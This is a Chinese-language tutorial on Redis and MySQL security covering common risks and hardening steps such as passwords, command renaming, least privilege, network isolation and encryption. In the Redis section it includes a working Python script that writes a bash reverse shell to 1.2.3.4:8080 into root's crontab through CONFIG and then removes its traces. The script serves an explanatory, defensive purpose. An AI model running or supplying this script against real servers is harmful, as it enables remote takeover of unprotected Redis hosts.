文章目录
- 导图
- Redis 安全
- 潜在的安全风险
- 防护措施
- 密码认证
- 命令重命名
- 权限最小化
- 日志和审计 Red
- 网络隔离
- MySQL 安全
- 认证和授权
- 文件操作风险
- 传输和存储加密
- 最小权限原则
- 审计
- 总结
导图
Redis 安全
Redis的设计初衷是为了在可信环境下提供高性能的KV数据库服务,因此它的安全设计较为简陋,这也导致了其在公开网络中的安全性较差。
潜在的安全风险
- 数据篡改:如果黑客成功连接到Redis服务器,他们可以通过命令如
FLUSHALL
清空所有数据。 - 命令执行:Redis虽然不能直接执行命令,但通过配置文件操作如
CONFIG
,攻击者可以间接写入如crontab
的恶意任务,从而执行系统命令来控制服务器。
import redisr = redis.Redis(host='10.0.0.1', port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'# 设置 Redis 键值对
r.set(key, payload)# 配置 Redis 操作目录并保存恶意 payload 到 cron 文件
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()# 删除 Redis 中的键值对,清除操作痕迹
r.delete(key)# 将 Redis 的工作目录恢复到临时目录
r.config_set('dir', '/tmp')
利用 Redis 的 CONFIG 命令和一些其他命令来尝试进行恶意操作,在目标系统上植入一个反向 shell,并清除操作痕迹。这种攻击模式通常涉及篡改系统的 cron 任务计划文件 (/var/spool/cron
) 来启动恶意 shell
防护措施
密码认证
在redis.conf
中设置requirepass
来增加密码认证,虽然这可能会略微影响性能,但对于在不受信网络中的Redis部署,强密码认证是必不可少的,比较推荐随机生成一个 32 位的“数字加字母”的密码。
命令重命名
通过rename-command
将敏感命令如CONFIG
和FLUSHALL
重命名为随机字符串,避免黑客轻易调用这些命令。 比如 rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho
权限最小化
Redis应以低权限用户(如nobody
)运行,避免root权限运行,防止攻击者获取到过高的权限。(Redis 本身也需要保存日志和持久化数据,所以,它仍然需要写入日志文件的权限(小于 ROOT 权限)来保证正常运行)
日志和审计 Red
is的日志功能相对简单,没有详细的审计信息,因此在重要应用中,建议结合外部日志系统进行日志收集和分析。
网络隔离
建议通过防火墙或网络策略限制外部访问Redis实例,仅允许可信IP访问。
MySQL 安全
与Redis相比,MySQL作为一个成熟的关系型数据库,其安全机制要完善得多,提供了认证、授权、加密等一系列功能。
认证和授权
- MySQL的多用户认证体系将用户的信息存储在
mysql.user
表中,并支持密码过期、密码重用限制、密码强度评估等功能,提供了较为全面的密码管理。 - MySQL的授权机制通过
GRANT
命令赋予用户对特定数据库或表的权限,支持细粒度的权限控制。GRANT ALL PRIVILEGES ON db.table TO user@"127.0.0.1" IDENTIFIED BY "password"
文件操作风险
- MySQL提供了对本地文件的读写功能,例如通过
LOAD DATA INFILE
读取文件,SELECT ... INTO DUMPFILE
写入文件。这些功能虽然方便,但如果配置不当,可能会被黑客利用来读取敏感文件或写入恶意脚本。
传输和存储加密
-
传输加密:MySQL支持通过SSL加密客户端和服务器之间的通信。通过配置
ssl-ca
、ssl-cert
、ssl-key
等参数可以启用SSL。
-
存储加密:MySQL支持基于
keyring_file
插件的硬盘加密,表密钥通过主密钥加密后存储在表的表头中。需要注意备份主密钥文件,以防止数据丢失。
最小权限原则
- MySQL会自动创建一个权限较低的
mysql
用户用于运行MySQL进程,避免以root权限运行数据库实例。
审计
虽然MySQL本身不提供内置的审计功能,但可以通过第三方插件如McAfee的mysql-audit
或MariaDB的审计插件进行操作日志的收集和分析。
总结
- Redis:主要在于性能优先,因此其安全功能较少。通过设置密码、限制网络访问、使用非root用户运行等方式,能在一定程度上提升安全性。
- MySQL:功能更加完善,具有强大的认证、授权、加密和最小权限配置,通过合理配置这些安全功能,可以显著提升MySQL的安全性。